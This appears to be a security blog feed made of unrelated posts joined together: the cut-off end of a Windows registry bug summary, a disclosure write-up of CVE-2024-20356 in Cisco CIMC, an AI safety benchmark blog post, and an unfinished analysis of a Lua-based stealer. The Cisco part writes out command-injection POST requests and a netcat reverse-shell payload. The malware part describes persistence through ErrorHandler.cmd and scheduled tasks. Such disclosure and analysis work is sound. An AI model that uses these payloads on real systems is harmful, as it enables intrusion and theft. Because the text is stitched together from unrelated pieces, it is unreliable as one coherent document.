All of the reports were submitted under the Project Zero 90-day disclosure deadline policy, and Microsoft successfully met the deadline in all cases. The average time from report to fix was 81 days.

Furthermore, between November 2023 and January 2024, I reported 20 issues that had low or unclear security impact, but I believed the vendor should nevertheless be made aware of them. They were sent without a disclosure deadline and weren't put on the PZ tracker; I have since published them on our team's GitHub. Upon assessment, Microsoft decided to fix 6 of them in a security bulletin in March 2024, while the other 14 were closed as WontFix with the option of being addressed in a future version of Windows.

This sums up to a total of 50 CVEs, classified by Microsoft as:

• 39 × Windows Kernel Elevation of Privilege Vulnerability
• 9 × Windows Kernel Information Disclosure Vulnerability
• 1 × Windows Kernel Memory Information Disclosure Vulnerability
• 1 × Windows Kernel Denial of Service Vulnerability

A full summary of the security-serviced bugs is shown below:

Exploitability

Software bugs are typically only interesting to either the offensive/defensive sides of the security community if they have practical security implications. Unfortunately, it is impossible to give a blanket statement regarding the exploitability of all registry-related vulnerabilities due to their sheer diversity on a number of levels:

• Affected platforms: Windows 10, Windows 11, various Windows Server versions (32/64-bit)
• Attack targets: the kernel itself, drivers implementing registry callbacks, privileged user-mode applications/services
• Entry points: direct registry operations, hive loading, transaction log recovery
• End results: memory corruption, broken security guarantees, broken API contracts, memory/pointer disclosure, out-of-bounds reads, invalid/controlled cell index accesses
• Root cause of issues: C-specific, logic errors, bad reference counting, locking problems
• Nature of memory corruption: temporal (use-after-free), spatial (buffer overflows)
• Types of corrupted memory: kernel pools, hive data
• Exploitation time: instant, up to several hours

As we can see, there are multiple factors at play that determine how the bugs came to be and what state they leave the system in after being triggered. However, to get a better understanding of the impact of the findings, I have performed a cursory analysis of the exploitability of each bug, trying to classify it as either "easy", "moderate" or "hard" to exploit according to my current knowledge and experience (this is of course highly subjective). The proportions of these exploitability ratings are shown in the chart below:

The ratings were largely based on the following considerations:

• Hive-based memory corruption is generally considered easy to exploit, while pool-based memory corruption is considered moderate/hard depending on the specifics of the bug.
• Triggering OOM-type conditions in the hive space is easy, but completely exhausting the kernel pools is more difficult and intrusive.
• Logic bugs are typically easier and more reliable to exploit than memory corruption.
• The kernel itself is typically easier to attack than other user-mode processes (system services etc.).
• Direct information disclosure (leaking kernel pointers / uninitialized memory via various channels) is usually straightforward to exploit.
• However, random out-of-bounds reads, as well as read access to invalid/controlled cell indexes is generally hard to do anything useful with.

Overall, it seems that more than half of the findings can be feasibly exploited for information disclosure or local privilege escalation (rated easy or moderate). What is more, many of them exhibit registry-specific bug classes which can enable particularly unique exploitation primitives. For example, hive-based memory corruption can be effectively transformed into both a KASLR bypass and a fully reliable arbitrary read/write capability, making it possible to use a single bug to compromise the kernel with a data-only attack. To demonstrate this, I have successfully developed exploits for CVE-2022-34707 and CVE-2023-23420. The outcome of running one of them to elevate privileges to SYSTEM on Windows 11 is shown on the screenshot below:

Upcoming posts in this series will introduce you to the Windows registry as a system mechanism and as an attack surface, and will dive deeper into practical exploitation using hive memory corruption, out-of-bounds cell indexes and other amusing techniques. Stay tuned!

The Cisco C195 is a Cisco Email Security Appliance device. Its role is to act as an SMTP gateway on your network perimeter. This device (and the full range of appliance devices) is heavily locked down and prevents unauthorised code from running.

Source: https://www.melbourneglobal.com.au/cisco-esa-c195-k9-esa-c195-email/

I recently took one of these apart in order to repurpose it as a general server. After reading online about the device, a number of people mentioned that it is impossible to bypass secure boot in order to run other operating systems, as this is prevented by design for security reasons.

In this adventure, the Cisco C195 device family was jailbroken in order to run unintended code. This includes the discovery of a vulnerability in the CIMC body management controller which affects a range of different devices, whereby an authenticated high privilege user can obtain underlying root access to the server’s BMC (CVE-2024-20356) which in itself has high-level access to various other components in the system. The end goal was to run DOOM – if a smart fridge can do it, why not Cisco?

We have released a full toolkit for detecting and exploiting this vulnerability, which can be found on GitHub below:

 GitHub: https://github.com/nettitude/CVE-2024-20356

Usage of the toolkit is demonstrated later in this article.

BIOS Hacking

Under the hood, the Cisco C195 device is a C220 M5 server. This device is used throughout a large number of different appliances. The initial product is adapted to suit the needs of the target appliance. This in itself is a common technique and valid way of creating a large line of products from a known strong design. While this does have its advantages, it means any faults in the underlying design, supporting hardware or software are apparent on multiple device types.

The C195 is a 1U appliance that is designed to handle emails. It runs custom Cisco software provided by two disks in the device. I wanted to use the device for another purpose, but could not due to the restrictions in place preventing the device from booting unauthorised software. This is a good security feature for products, but does restrict how they can be used.

From first glance at the exterior, there was no obvious branding to indicate this was a Cisco UCS C220 M5. Upon taking off the lid, a few labels indicated the true identity of the server. Furthermore, a cover on the back of the device, when unscrewed, revealed a VGA port. A number of other ports were present on the back, such as Console (Cisco Serial) and RPC (CIMC). The RPC port was connected to a network, but the device did not respond.

Starting up the device displayed a Cisco branded AMI BIOS. The configuration itself was locked down and a number of configuration options were disabled. The device implemented a strong secure boot setup whereby only Cisco approved ESA/Cisco Appliance EFI files could be executed.

I could go into great detail here on what was tried, but to cut a long story short, I couldn’t see, modify or run much.

The BIOS was the first target in this attack chain. I was interested to see how different BIOS versions affect the operation of the device. New features often come with new attack surfaces, which pose potential new vectors to explore.

The device was running an outdated BIOS version. Some tools provided to update the BIOS were not allowed to run due to the locked down secure boot configuration. A number of different BIOS versions were tried and tested by removing the flash chip, upgrading the BIOS and placing the chip back on the board. To make this process easier, I created a DIY socket on the motherboard and a small mount for the chip to easily reflash the device on the fly. This was especially important when continuously reading/observing what kind of data is written back to the flash, and how it is stored.

Note there are three chips in total – the bottom green flash is used for CIMC/BMC, the middle marked with red is the main BIOS flash and the top one (slightly out of frame) is the backup BIOS flash.

The CH431A is a very powerful, cost effective device which acts as a multitool for IoT hacking (with the 3.3v modification). Its core is designed to act as a SPI programmer but also has a UART interface. In short, you can hook onto or remove SPI-compatible flash chips from the target PCB and use the programmer to interact with the device. You can make a full 1:1 backup of that chip so if anything goes wrong you can restore the original state. On top of that, you can also tamper with or write to the chip.

The below screenshot shows reading the middle flash chip using flashrom and the CH341A. If following along, it’s important to make a copy of the firmware below, maybe two, maybe three – keep these safe and store original versions with MD5 hashes.

UEFITool is a nice way to visualise different parts of a modern UEFI BIOS. It provides a breakdown of different sections and what they do. In recent versions, the ability to view Intel BootGuard protected areas are marked which is especially important when attacking UEFI implementations.

On the topic of tampering with the BIOS, why can’t we just replace the BIOS with a version that does not have secure boot enabled, has keys allowing us to boot other EFI files, or a backdoor allowing us to boot our own code? Intel BootGuard. This isn’t well known but is a really neat feature of Intel-based products. Effectively it is secure-boot for the BIOS itself. Public keys are burned into CPUs using onboard fuses. These public keys can be used to validate the firmware being loaded. There’s quite a lot to Intel BootGuard, but in the interest of keeping this article short(ish), for now all you need to know is it’s a hardware-based root of trust, which means you can’t directly modify parts of the firmware. Note, it doesn’t include the entire flash chip as this is also used for user configuration/storage, which can’t be easily signed.

The latest firmware ISO was obtained and the BIOS .cap file was extracted.

The .cap file contained a header of 2048 bytes with important information about the firmware. This would be read by the built-in tools to update the BIOS, ensuring everything is correct. After removing the header, it needs to be decompressed with bzip2.

The update BIOS image contains the information that would be placed in the BIOS region. Note, we can’t directly flash the bios.cap file onto the flash chip as there are important sections missing, such as the Intel ME section.

The .cap file itself has another header of 0x10D8 (4312) which can be removed with a hex editor or DD.

The update file and the original BIOS should look somewhat similar at the beginning. However, the update file is missing important sections.

To only update what was in the BIOS region, we can copy the update file from 0x1000000 (16777216) onwards into the flash file at the same location. DD can be used for this by taking the first half of the flash, the second half of the update, and merging them together.

The original firmware should match in size to our new updated firmware.

Just to be safe, we can check with UEFITool to make sure nothing went majorly wrong. The screenshot below shows everything looks fine, and the UUIDs for the new volumes in the BIOS region have been updated.

In the same way the flash dump was obtained, the updated image can be placed back.

With the BIOS updated to the latest version, a few new features are available. The BIOS screen now presents the option to configure CIMC! Result! Alas, we still cannot make meaningful configuration changes, disable secure boot, or boot our own code.

In the meantime, we found CIMC was configured with a static IP of 0.0.0.0. This would explain why we couldn’t interact with it earlier. A new IP address was set, and we have a new attack surface to explore.

CIMC, Cisco Integrated Management Console, is a small ASPEED-Pilot-4-based onboard body-management-controller (BMC). This is a lights-out controller for the device so can be used as a KVM and power management solution. In this implementation, it’s used to handle core system functions such as power management, fan control, etc.

CIMC in itself comes with a default username of “admin” and a default password of “cisco”. CIMC can either be on a dedicated interface or share the onboard NICs. CIMC has full control over the BIOS, peripheral chips, onboard CPU and a number of other systems running on the C195/C220.

At this point the user is free to update CIMC to the latest version and make configuration changes. It was not possible to disable the secure boot process or run any other code aside from the signed Cisco Appliance operating system. Even though we had the option to configure secure boot keys, these did not take effect nor did any critical configuration changes. CIMC recognised on the dashboard that it was a C195 device.

At this stage, it is possible to update CIMC to other versions using the update/flash tool.

CVE-2024-20356: Command Injection

The ISO containing the BIOS updates also contained a copy of the CIMC firmware.

This firmware, alongside the BIOS, is fairly generic for the base model C220 device. It is designed to identify the model of the device and put appropriate accommodations in place, such as locking down certain features or making new functions available. This saves time in production as one good firmware build can be used against a range of devices without major problems.

As this firmware is designed to accommodate many device types, we observe a few interesting files and features along the way.

The cimc.bin file located in /firmware/cimc/ contains a wealth of information.

The binwalk tool can be used to explore this information. At a high level, binwalk will look for patterns in files to identify locations of potential embedded files, file systems or data. It can also be extracted using this tool. The below screenshot shows a common embedded uBoot Linux system that uses a compressed squashfs filesystem to hold the root filesystem.

While looking through these filesystems, a few interesting files were discovered. The library located at /usr/local/lib/appweb/liboshandler.so was used to handle requests to the web server. This file contained debug symbols, making it easier to understand the class structure and what functions are used for. The library was decompiled using Ghidra.

The ExpFwUpdateUtilityThread function, part of ExpUpdateAgent, was found to be affected by a command injection vulnerability. The user-submitted input is validated, however, certain characters were allowed which can be used to execute commands outside of the intended application scope.

/* ExpFwUpdateUtilityThread(void*) */ 

void * ExpFwUpdateUtilityThread(void *param_1) 

{ 
  int iVar1; 
  ProcessingException *pPVar2; 
  undefined4 uVar3; 
  char *pcVar4; 
  bool bVar5; 
  undefined auStack192 [92]; 
  basic_string<char,std::char_traits<char>,std::allocator<char>> abStack100 [24];

The ExpFwUpdateUtilityThread function is called from an API request to expRemoteFwUpdate. This takes four parameters, and appears to provide the ability to update the firmware for SAS Controllers or Drives. The path parameter is validated against a list of known good characters, which includes $, ( and ). The function performs string formatting with user data against the following string: curl -o %s %s://%s/%s %s. Upon successfully validating the user-supplied data, the formatted string is passed into system_secure(), which performs additional validation, however still allows characters which can be used to inject commands through substitution.

/* ExpFwUpdateUtilityThread(void*) */ 
if (local_24 == 0) { 
    iVar1 = strcmp(var_param_type,"tftp"); 
    if ((iVar1 == 0) || (iVar1 = strcmp(var_param_type,"http"), iVar1 == 0)) { 
      memset(&DAT_001a3798,0,0x200); 
      snprintf(&DAT_001a3798,0x200,"curl -o %s %s://%s/%s %s","/tmp/fwimage.bin",var_param_type, 
               var_host,var_path,local_48); 
      iVar1 = system_check_user_input(var_host,"general_rule"); 
      if ((iVar1 == 0) || 
         ((iVar1 = system_check_user_input(var_param_type,"general_rule"), iVar1 == 0 || 
          (iVar1 = system_check_user_input(var_path,"general_rule"), iVar1 == 0)))) { 
        bVar5 = true; 
      } 
      else { 
        bVar5 = false; 
      } 
      if (bVar5) { 
        pPVar2 = (ProcessingException *)__cxa_allocate_exception(0xc); 
        ProcessingException::ProcessingException(pPVar2,"Parameters are invalid"); 
                    /* WARNING: Subroutine does not return */ 
        __cxa_throw(pPVar2,&ProcessingException::typeinfo,ProcessingException::~ProcessingException); 
      } 

      set_status(1,"DOWNLOADING",'\0',local_2c,local_28); 
      system_secure(&DAT_001a3798); 
    }

The following function is called to check the input against a list of allowed characters. 

undefined4 system_check_user_input(undefined4 param_1,char *param_2)
{
    int iVar1;
    char *local_1c;
    undefined4 local_18;
    char *local_14;
    undefined4 local_10;
    undefined4 local_c;x
    
    local_c = 0xffffffff;
    iVar1 = strcmp(param_2,"password_rule");
    if (iVar1 == 0) {
        local_1c =
        " !\"#$&\'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}";
        local_18 = 0x57;
        local_c = FUN_000d8120(param_1,&local_1c);
}

Although the ExpFwUpdateUtilityThread function performs some checks on the user input, additional checks are performed with another list of allowed characters.

undefined4 system_secure(undefined4 param_1)
{
    undefined4 uVar1;
    char *local_10;
    undefined4 local_c;
    
    local_10 =
    " !\"#$&\'()*+,-./0123456789:;=>@ABCDEFGHIJKLMNOPQRSTUVWXYZ\\_abcdefghijklmnopqrstuvwxyz{|}";
    local_c = 0x57;
    uVar1 = system_secure_ex(param_1,&local_10);
    return uVar1;
}

The system_secure function calls system_secure_ex, which after passing validation executes the provided command with system(). 

int system_secure_ex(char *param_1,undefined4 param_2) 

{ 
  int iVar1; 
  int local_c; 

  local_c = -1; 
  iVar1 = FUN_000d8120(param_1,param_2); 
  if (iVar1 == 1) { 
    local_c = system(param_1); 
  } 
  else { 
    syslog(3,"%s:%d:ERR: The given command is not secured to run with system()\n","systemsecure.c ", 
           0x98); 
  } 
  return local_c; 
}

We can take the knowledge learnt from the above library and apply it in an attempt to exploit the issue. This can be achieved by using $(echo $USER) in order to substitute the text for the current username. The function itself is designed to make a curl request to download firmware updates from a third-party using curl. We can use this functionality to exfiltrate our executed command.

The following query can be used to demonstrate command injection:

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(echo $USER)")

This can be placed in a POST request to https://CIMC/data with an administrator’s sessionCookie and sessionID.

POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=ef4eb2e3b0[REDACTED]
Content-Length: 189
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html

sessionID=2132002102bb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(echo%2520%2524USER)%2522)

This is shown in the screenshot below.

When the request is made, the command output is received by the attacker’s web server.

Having underlying system access to the Cisco Integrated Management Console poses a significant risk through the breakdown of confidentiality, integrity and availability. With this level of access, a threat actor is able to read, modify and overwrite information on the running system, given that CIMC has a high level of access throughout the device. Furthermore, as underlying access is granted to the firmware itself, this poses an integral risk whereby an attacker could introduce a backdoor into the firmware and prevent users from discovering that the device has been compromised. Finally, availability may be affected if the firmware is modified, as it could be corrupted to prevent the device from booting without a recovery method.

This can be taken a step further to get a full reverse shell from the BMC using the following query string:

set=expRemoteFwUpdate("1", "http","192.168.0.96","/$(ncat 192.168.0.96 1337 -e /bin/sh)")

In a full request, this would encode to:

POST /data HTTP/1.1
Host: 192.168.0.102
Cookie: sessionCookie=05f0b903b0[REDACTED]
Content-Length: 228
Content-Type: application/x-www-form-urlencoded
Referer: https://192.168.0.102/index.html

sessionID=1e310e110fb[REDACTED]&queryString=set%253dexpRemoteFwUpdate(%25221%2522%252c%2520%2522http%2522%252c%2522192.168.0.96%2522%252c%2522%252f%2524(ncat%2520192.168.0.96%25201337%2520-e%2520%252fbin%252fsh)%2522)

This is shown in the screenshot below.

A full root shell on the underlying BMC is then received on port 1337. The following screenshot demonstrates this by identifying the current user, version and CPU type.

Note: To obtain the sessionCookie and sessionID, the user must login as an administrator using the default credentials of admin and password. The sessionCookie can be taken from the response headers and the sessionID can be taken from the response body under <sidValue>.

So, we have the ability to execute commands on CIMC. The next step involves automating this process to make it easier to reach our goal of running DOOM.

As it stands, the command injection vulnerability is blind. You need to leverage the underlying curl command to exfiltrate data. This is fine for small outputs but breaks when the URL limit is hit, or if unusual characters are included.

Another method to exfiltrate information was identified through writing a file to the web root with a specific filename in order to match the regex inside the nginx configuration.

The following section in the configuration is used to only serve certain files in the web root directory. This includes common documents such as index.html, 401.html, 403.html etc. The filename “in.html” matches this regex and is not currently used.

The toolkit uses this to obtain command output. Command output is written to /usr/local/www/in.html.

CVE-2024-20356: Exploit Toolkit

To automate this process I created a tool called CISCown which allows you to test for the vulnerability, exploit the vulnerability, and even open up a telnetd root shell service.

The exploit kit takes a few parameters:

• -t TARGET
• -u USERNAME
• -p PASSWORD
• -v VERBOSE (obtains more information about CIMC)
• -a ACTION
  • “test” tries to exploit command injection by echoing a random number to “in.html” and reading it
  • “cmd” executes a command (default if -c is provided)
  • “shell” executes “busybox telnetd -l /bin/sh -p 23”
  • “dance” puts on a light show
• -c CMD

The toolkit can be found on GitHub below:

 GitHub: https://github.com/nettitude/CVE-2024-20356

A few examples of the tool’s usage are shown below.

Testing for the vulnerability:

Exploiting the vulnerability with id command:

Exploiting the vulnerability with cat /proc/cpuinfo to check the CPU in use:

Exploiting the vulnerability to gain a full telnet shell:

Exploiting the vulnerability to dance (yes, this is in the toolkit):

Compromising The Secure Boot Chain

We have root access on the BMC but we still cannot run our own code on the main server. Even after modifying a few settings in the BIOS and on the web CIMC administration page, it was not possible to run EFI files not signed with the Cisco Appliance keys.

The boot menu below only contains one boot device, the EFI shell.

If a USB stick is plugged in, the device throws a Secure Boot Violation warning and reverts back to the EFI shell.

It’s not even possible to use the EFI shell to boot EFI files not signed by Cisco.

The option to disable secure boot was still greyed out.

In general, secure boot is based around four key databases:

• db – Signatures Database – Database of allowed signatures
• dbx – Forbidden Signatures Database – Database of revoked signatures
• kek – Key Exchange Key – Keys used to sign db and dbx
• pk – Platform Key – Top level key in secure boot

The device itself only contains db keys for authorised Cisco appliance applications/EFI files. This means restrictions are in place to restrict what the device can boot/load, including EFI modules. Some research was performed into how the device handles secure boot and the chain of trust.

In order to compromise the secure boot chain, we need to find a way to either disable secure boot or use our own key databases. The UEFI spec states that vendors can store these keys in multiple locations, such as in the BIOS flash itself, TPM, or externally.

While looking around CIMC and the BMC, an interesting script was discovered which is executed on start-up. The intent behind this script is to prepare the BIOS with the appropriate secure boot databases and settings.

The script defines a number of hardcoded locations for different profiles supported by CIMC.

When the script runs, the device gets the current PID value. In our case it was C195, being the model of the device. Note, the below script first attempts to fetch this from /tmp/pid_validated, and if it can’t find this file it will read the PID from the platform management’s FRU. This will display C195, which is then saved in /tmp/pid_validated.

The script will then go through and check the PID against all supported profiles.

It does this for every type of profile defined at the top of the script. These profiles contain all of the secure boot key databases such as PK, KEK, DB and DBX.

The check takes the PID of C195 and passes it to is_stbu_rel, which has a small regex pattern to determine what the device is. If it matches, a number of variables are configured and update_pers_data is called to set the secure boot profile to use. The profile is what the BIOS then uses as a keystore for secure boot.

The chain of trust here is as follows:

• FRU -> BMC with the PID values
• BMC -> BIOS with the secure boot keys

As we have compromised the BMC, we can intercept or modify this process with our own PID or keys. By creating or overwriting the /tmp/pid_validated file, we can trick bios_secure_vars_setup.sh into thinking the device is something else and provide a different set of keys.

The following example demonstrates changing the device to the ND-NODE-L4 profile which supports a broader range of allowed EFI modules and vendors.

NOTE: BACKUP THE BIOS AT THIS POINT!

First shut down the device and ensure you have made a backup of the BIOS. This is an important step, as modifying secure boot keys which do not authorise core components to run can prevent the device from booting (essentially bricking it).

The PID is as follows: C195.

The /tmp/pid_validated file was overwritten with a new PID of ND-NODE-L4.

The bios_secure_vars_setup.sh script was run again to reinitialise the secure boot environment.

The device can then be powered back on. Upon turning on the device, a number of other boot devices were available from the Ethernet Controllers. This is a good sign, as it means more EFI modules were loaded.

The boot device manager or EFI shell can be used to boot into an external drive containing an operating system that supports UEFI. In my case, I was using a USB stick plugged into the back of the device.

Instead of an access denied error, bootx64.efi was loaded successfully and Ubuntu started, demonstrating we now have non-standard code running on the Cisco C195 Email Appliance.

Finally to complete the main goal:

In conclusion, it’s possible to follow this attack chain to repurpose a Cisco appliance device to run DOOM. The full chain incorporated:

• Modifying the BIOS to expose CIMC to the network.
• Attacking the CIMC management system over the network via remote command execution vulnerability (CVE-2024-20356) to gain root access to a critical component in the system.
• Finally, compromising the secure boot chain by modifying the device PID to use other secure boot keys.

To address this vulnerability, it’s best to adhere to the following advice to reduce the likelihood and impact of exploitation:

• Change the default credentials and uphold a strong password policy.
• Update the device to a version which patches CVE-2024-20356.

Disclosure

While it may seem cool to run DOOM on a Cisco Appliance device, the vulnerability exploited does pose a threat to the confidentiality, integrity and availability of data stored and processed on the server. The issue in itself could be used to backdoor the machine and run unauthorised code, especially impactful given that the body management controller has a high level of access throughout the device.

The product tested in this writeup was C195/C220 M5 - CIMC 4.2(3e). However, as the firmware is used across a range of different devices, this vulnerability would affect a range of different products. The full affected list can be found on Cisco’s website below:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-cimc-cmd-inj-bLuPcb

Cisco was initially informed of the issue on 06 December 2023 and began triage on 07 December 2023. The Cisco PSIRT responded within 24 hours of initial contact and promptly began working on fixes. A public disclosure date was agreed upon for 17 April 2024, and CVE-2024-20356 was assigned by the vendor with a severity rating of High (CVSS score of 8.7). I would like to thank Todd Reid, Amber Hurst, Mick Buchanan, and Marco Cassini from Cisco for collaborating with us to resolve the issue.

The post CVE-2024-20356: Jailbreaking a Cisco appliance to run DOOM appeared first on LRQA Nettitude Labs.

Artificial Intelligence (AI) has been making significant strides in recent years, with advancements in machine learning and deep learning techniques. However, as AI systems become more complex and powerful, ensuring their safety becomes increasingly critical. In a ground-breaking move towards enhancing AI safety, MLCommons, an open collaboration-focused Artificial Intelligence engineering consortium, has unveiled the MLCommons AI Safety v0.5 benchmark proof-of-concept (POC). Led by a global group of industry experts, researchers, and advocates, this milestone marks the initial step in establishing a standardized approach to measuring AI safety.

This blog post aims to introduce this benchmark, its purpose, and its significance in the AI industry.

What is the MLCommons AI Safety v0.5 Benchmark?

This benchmark aims to evaluate the safety and robustness of AI systems, particularly those utilized in general-purpose AI chat applications. It assesses AI systems on various safety aspects, including their handling of harmful instructions, inappropriate content, and personal data requests, as well as their capability to provide accurate and helpful responses to user queries.

Why is the MLCommons AI Safety v0.5 Benchmark Important?

As AI systems become more integrated into our daily lives, ensuring their safety and robustness is of paramount importance. The MLCommons AI Safety v0.5 benchmark provides a standardized way to measure and compare the safety of different AI systems.

The MLCommons AI Safety v0.5 benchmark offers a standardized method for measuring and comparing AI safety across different systems. It holds particular significance for general-purpose AI chat applications, which directly interact with users, making it crucial for them to manage user interactions safely and appropriately.

This benchmark helps guarantee that these applications adhere to necessary safety standards by providing an objective measure of an AI system’s safety, enabling developers to identify and address potential safety concerns.

How Does the MLCommons AI Safety v0.5 Benchmark Work?

The MLCommons AI Safety v0.5 benchmark evaluates AI systems using a series of tests. These tests are designed to assess the system’s ability to handle a variety of safety-related scenarios.

For example, one test might involve giving the AI system a harmful instruction, such as “Delete all files on the computer,” and seeing how it responds. The system should refuse to carry out the harmful instruction and provide a safe and appropriate response instead.

Other tests might involve presenting the system with inappropriate content or a request for personal data. The system should be able to handle these situations appropriately, refusing to engage with the inappropriate content or protect the user’s personal data.

Rating AI Safety

Rating AI safety is a crucial aspect of benchmarking, involving the translation of complex numeric results into actionable ratings. To achieve this, the POC employs a community-developed scoring method. These ratings are relative to the current “accessible state-of-the-art” (SOTA), which refers to the safety results of the best public models with fewer than 15 billion parameters that have been tested. However, the lowest risk rating is defined by an absolute standard, representing the goal for progress in the SOTA.

In summary, the ratings are as follows:

• High Risk (H): Indicates that the model’s risk is very high (4x+) relative to the accessible SOTA.
• Moderate-high risk (M-H): Implies that the model’s risk is substantially higher (2-4x) than the accessible SOTA.
• Moderate risk (M): Suggests that the model’s risk is similar to the accessible SOTA.
• Moderate-low risk (M-L): Indicates that the model’s risk is less than half of the accessible SOTA.
• Low risk (L): Represents a very low absolute rate of unsafe model responses, with 0.1% in v0.5.

To demonstrate the rating process, the POC includes ratings of over a dozen anonymized systems-under-test (SUT). This validation across a spectrum of currently-available LLMs helps to verify the effectiveness of the approach.

Hazard scoring details – The grade for each hazard is calculated relative to accessible state-of-the-art models and, in the case of low risk, an absolute threshold of 99.9%. The different coloured bars represent the grades from left to right H, M-H, M, M-L, and L.

What are the Key Features of the MLCommons AI Safety v0.5 Benchmark?

The MLCommons AI Safety v0.5 benchmark includes several key features that make it a valuable tool for assessing AI safety.

• Comprehensive Coverage: The benchmark covers a wide range of safety-related scenarios, providing a comprehensive assessment of an AI system’s safety.
• Objective Measurement: The benchmark provides a clear and objective measure of an AI system’s safety, making it easier to compare different systems and identify potential safety issues.
• Open Source: The benchmark is open source, meaning that anyone can use it to assess their AI system’s safety. This also allows for continuous improvement and refinement of the benchmark based on community feedback.
• Focus on General-Purpose AI Chat Applications: The benchmark is specifically designed for general-purpose AI chat applications, making it particularly relevant for this rapidly growing field.

Challenges

As with any process that attempts to benchmark all scenarios, there are limitations which should be considered when reviewing the results:

• Negative Predictive Power: The MLC AI Safety Benchmark tests solely possess negative predictive power. Excelling in the benchmark doesn’t guarantee model safety; it indicates undiscovered safety vulnerabilities.
• Limited Scope: Version 0.5 of the taxonomy and benchmark lacks several critical hazards due to feasibility constraints. These omissions will be addressed in future iterations.
• Artificial Prompts: All prompts are expert-crafted for clarity and ease of assessment. Despite being informed by research and industry practices, they are not real-world prompts.
• Significant Variance: Test outcomes exhibit notable variance compared to actual behaviour, stemming from prompt selection limitations and noise from automatic evaluation methods for subjective criteria.

Conclusion

The MLCommons AI Safety v0.5 benchmark is a significant step forward in ensuring the safety and robustness of AI systems. By providing a standardized way to measure and compare AI safety, it helps developers identify and address potential safety issues, ultimately leading to safer and more reliable AI applications.

As AI continues to advance and become more integrated into our daily lives, tools like the MLCommons AI Safety v0.5 benchmark will become increasingly important. By focusing on safety, we can ensure that AI serves us effectively and responsibly, enhancing our lives without compromising our safety or privacy.

For further reading on AI safety benchmarks, you can visit MLCommons or explore more about general-purpose AI chat applications.

To explore this more for yourself – Review the Model Bench on GitHub – https://github.com/mlcommons/modelgauge/

Want more insight into AI? feel free to review the rest of our content on labs or have a play on our vulnerable prompt injection game.

The post Introducing the MLCommons AI Safety v0.5 Proof of Concept appeared first on LRQA Nettitude Labs.

Authored by Mohansundaram M and Neil Tyagi

Infection Chain

• GitHub was being abused to host the malware file at Microsoft’s official account in the vcpkg repository https[:]//github[.]com/microsoft/vcpkg/files/14125503/Cheat.Lab.2.7.2.zip

• McAfee Web Advisor blocks access to this malicious download
• Cheat.Lab.2.7.2.zip is a zip file with hash 5e37b3289054d5e774c02a6ec4915a60156d715f3a02aaceb7256cc3ebdc6610
• The zip file contains an MSI installer.

• The MSI installer contains 2 PE files and a purported text file.
  
• Compiler.exe and lua51.dll are binaries from the Lua project. However, they are modified slightly by a threat actor to serve their purpose; they are used here with readme.txt (Which contains the Lua bytecode) to compile and execute at Runtime.
• Lua JIT is a Just-In-Time Compiler (JIT) for the Lua programming language.
  
• The magic number 1B 4C 4A 02 typically corresponds to Lua 5.1 bytecode.
• The above image is readme.txt, which contains the Lua bytecode. This approach provides the advantage of obfuscating malicious stings and avoiding the use of easily recognizable scripts like wscript, JScript, or PowerShell script, thereby enhancing stealth and evasion capabilities for the threat actor.
• Upon execution, the MSI installer displays a user interface.

• During installation, a text message is displayed urging the user to spread the malware by installing it onto a friend’s computer to get the full application version.

• During installation, we can observe that three files are being written to Disk to C:\program Files\Cheat Lab Inc\ Cheat Lab\ path.

• Below, the three files are placed inside the new path.

• • Here, we see that compiler.exe is executed by msiexec.exe and takes readme.txt as an argument. Also, the Blue Highlighted part shows lua51.dll being loaded into compiler.exe. Lua51.dll is a supporting DLL for compiler.exe to function, so the threat actor has shipped the DLL along with the two files.
    

• • During installation, msiexec.exe creates a scheduled task to execute compiler.exe with readme.txt as an argument.
  • Apart from the above technique for persistence, this malware uses a 2^nd fallback technique to ensure execution.
  • It copies the three files to another folder in program data with a very long and random path.

• Note that the name compiler.exe has been changed to NzUW.exe.
• Then it drops a file ErrorHandler.cmd at C:\Windows\Setup\Scripts\
• The contents of cmd can be seen here. It executes compiler.exe under the new name of NzUw.exe with the Lua byte code as a parameter.

• Executing ErrorHandler.cmd uses a LolBin in the system32 folder. For that, it creates another scheduled task.

• • The above image shows a new task created with Windows Setup, which will launch C:\Windows\system32\oobe\Setup.exe without any argument.
  • Turns out, if you place your payload in c:\WINDOWS\Setup\Scripts\ErrorHandler.cmd, c:\WINDOWS\system32\oobe\Setup.exe will load it whenever an error occurs.
    

Source: Add a Custom Script to Windows Setup | Microsoft Learn

• • c:\WINDOWS\system32\oobe\Setup.exe is expecting an argument. When it is not provided, it causes an error, which leads to the execution of ErrorHandler.cmd, which executes compiler.exe, which loads the malicious Lua code.
  • We can confirm this in the below process tree.
    

We can confirm that c:\WINDOWS\system32\oobe\Setup.exe launches cmd.exe with ErrorHandler.cmd script as argument, which runs NzUw.exe(compiler.exe)

• • It then checks the IP from where it is being executed and uses ip-API to achieve that.

• • We can see the network packet from api-api.com; this is written as a JSON object to Disk in the inetCache folder.
    

• • We can see procmon logs for the same.
    

• We can see JSON was written to Disk.

C2 Communication and stealer activity

• • Communication with c2 occurs over HTTP.

• • We can see that the server sent the task ID of OTMsOTYs for the infected machine to perform. (in this case, taking screenshots)
    
  • A base64 encoded string is returned.

• • An HTTP PUT request was sent to the threat actors server with the URL /loader/screen.
  • IP is attributed to the redline family, with many engines marking it as malicious.
    
    

• Further inspection of the packet shows it is a bitmap image file.
• The name of the file is Screen.bmp
• Also, note the unique user agent used in this put request, i.e., Winter

• After Dumping the bitmap image resource from Wireshark to disc and opening it as a .bmp(bitmap image) extension, we see.
• The screenshot was sent to the threat actors’ server.

Analysis of bytecode File

• It is challenging to get the true decomplication of the bytecode file.
• Many open source decompilers were used, giving a slightly different Lua script.
• The script file was not compiling and throwing some errors.

• The script file was sensitized based on errors so that it could be compiled.

• Debugging process

• One table (var_0_19) is populated by passing data values to 2 functions.
• In the console output, we can see base64 encoded values being stored in var_0_19.
• These base64 strings decode to more encoded data and not to plain strings.

• All data in var_0_19 is assigned to var_0_26

• • The same technique is populating 2nd table (var_0_20)
  • It contains the substitution key for encoded data.
    

• • The above pic is a decryption loop. It iterates over var_0_26 element by element and decrypts it.
  • This loop is also very long and contains many junk lines.
